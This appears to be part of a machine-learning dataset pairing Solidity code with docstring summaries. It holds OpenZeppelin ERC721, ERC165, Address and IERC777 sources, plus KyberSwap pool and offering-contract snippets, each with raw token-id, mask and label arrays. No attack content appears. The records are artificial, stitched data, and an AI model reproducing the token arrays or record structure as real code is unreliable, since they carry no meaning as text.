* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
} | * @dev Interface of the ERC777Token standard as defined in the EIP. This contract uses the token holders and recipients react to token movements by using setting implementers for the associated interfaces in said registry. See {IERC1820Registry} and {ERC1820Implementer}./ | interface IERC777 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
function burn(uint256 amount, bytes calldata data) external;
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
} | 89,749 | [
1,
1358,
434,
326,
4232,
39,
14509,
1345,
4529,
487,
2553,
316,
326,
512,
2579,
18,
1220,
6835,
4692,
326,
1147,
366,
4665,
471,
12045,
13417,
358,
1147,
5730,
17110,
635,
1450,
3637,
2348,
414,
364,
326,
3627,
7349,
316,
7864,
350,
4023,
18,
2164,
288,
45,
654,
39,
2643,
3462,
4243,
97,
471,
288,
654,
39,
2643,
3462,
5726,
264,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
654,
39,
14509,
288,
203,
565,
445,
508,
1435,
3903,
1476,
1135,
261,
1080,
3778,
1769,
203,
203,
565,
445,
3273,
1435,
3903,
1476,
1135,
261,
1080,
3778,
1769,
203,
203,
565,
445,
25380,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
1366,
12,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
1731,
745,
892,
501,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
18305,
12,
11890,
5034,
3844,
16,
1731,
745,
892,
501,
13,
3903,
31,
203,
203,
565,
445,
353,
5592,
1290,
12,
2867,
3726,
16,
1758,
1147,
6064,
13,
3903,
1476,
1135,
261,
6430,
1769,
203,
203,
565,
445,
12229,
5592,
12,
2867,
3726,
13,
3903,
31,
203,
203,
565,
445,
18007,
5592,
12,
2867,
3726,
13,
3903,
31,
203,
203,
565,
445,
805,
24473,
1435,
3903,
1476,
1135,
261,
2867,
8526,
3778,
1769,
203,
203,
565,
445,
3726,
3826,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
1731,
745,
892,
501,
16,
203,
3639,
1731,
745,
892,
3726,
751,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
3726,
38,
321,
12,
203,
3639,
1758,
2236,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
1731,
745,
892,
501,
16,
203,
3639,
1731,
745,
892,
2
]
|
./partial_match/1/0xC94081183A25B5fC729Cdf993F7fe83970F9D776/sources/FraxUnifiedFarm_ERC20_KyberSwapElasticV2.sol | File contracts/Misc_AMOs/kyberswap_v2/pool/IPoolActions.sol | interface IPoolActions {
function unlockPool(uint160 initialSqrtP) external returns (uint256 qty0, uint256 qty1);
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
int24[2] calldata ticksPrevious,
uint128 qty,
bytes calldata data
)
external
returns (
uint256 qty0,
uint256 qty1,
uint256 feeGrowthInside
);
function burn(
int24 tickLower,
int24 tickUpper,
uint128 qty
)
external
returns (
uint256 qty0,
uint256 qty1,
uint256 feeGrowthInside
);
function burnRTokens(uint256 qty, bool isLogicalBurn)
external
returns (uint256 qty0, uint256 qty1);
function swap(
address recipient,
int256 swapQty,
bool isToken0,
uint160 limitSqrtP,
bytes calldata data
) external returns (int256 qty0, int256 qty1);
function flash(
address recipient,
uint256 qty0,
uint256 qty1,
bytes calldata data
) external;
function tweakPosZeroLiq(int24 tickLower, int24 tickUpper)
external returns(uint256 feeGrowthInsideLast);
}
| 3,608,434 | [
1,
812,
20092,
19,
11729,
71,
67,
2192,
15112,
19,
18465,
2210,
91,
438,
67,
90,
22,
19,
6011,
19,
2579,
1371,
6100,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
2864,
6100,
288,
203,
225,
445,
7186,
2864,
12,
11890,
16874,
2172,
19643,
3797,
52,
13,
3903,
1135,
261,
11890,
5034,
26667,
20,
16,
2254,
5034,
26667,
21,
1769,
203,
203,
225,
445,
312,
474,
12,
203,
565,
1758,
8027,
16,
203,
565,
509,
3247,
4024,
4070,
16,
203,
565,
509,
3247,
4024,
5988,
16,
203,
565,
509,
3247,
63,
22,
65,
745,
892,
13003,
8351,
16,
203,
565,
2254,
10392,
26667,
16,
203,
565,
1731,
745,
892,
501,
203,
225,
262,
203,
565,
3903,
203,
565,
1135,
261,
203,
1377,
2254,
5034,
26667,
20,
16,
203,
1377,
2254,
5034,
26667,
21,
16,
203,
1377,
2254,
5034,
14036,
30948,
451,
18619,
203,
565,
11272,
203,
203,
225,
445,
18305,
12,
203,
565,
509,
3247,
4024,
4070,
16,
203,
565,
509,
3247,
4024,
5988,
16,
203,
565,
2254,
10392,
26667,
203,
225,
262,
203,
565,
3903,
203,
565,
1135,
261,
203,
1377,
2254,
5034,
26667,
20,
16,
203,
1377,
2254,
5034,
26667,
21,
16,
203,
1377,
2254,
5034,
14036,
30948,
451,
18619,
203,
565,
11272,
203,
203,
225,
445,
18305,
54,
5157,
12,
11890,
5034,
26667,
16,
1426,
10122,
1706,
38,
321,
13,
203,
565,
3903,
203,
565,
1135,
261,
11890,
5034,
26667,
20,
16,
2254,
5034,
26667,
21,
1769,
203,
203,
225,
445,
7720,
12,
203,
565,
1758,
8027,
16,
203,
565,
509,
5034,
7720,
53,
4098,
16,
203,
565,
1426,
353,
1345,
20,
16,
203,
565,
2254,
16874,
1800,
19643,
3797,
52,
16,
203,
565,
1731,
745,
892,
501,
203,
225,
2
]
|
./full_match/1/0xb0D6675994E0c334a70e729C6194Ce2a9d21F951/sources/contracts/IGnGOffering.sol | * @dev Emitted when supported tokens transferred from `sender` to burn address./ | event AmountOffered(address indexed sender, uint256 totalAmount);
| 9,608,354 | [
1,
1514,
11541,
1347,
3260,
2430,
906,
4193,
628,
1375,
15330,
68,
358,
18305,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
871,
16811,
10513,
329,
12,
2867,
8808,
5793,
16,
2254,
5034,
2078,
6275,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
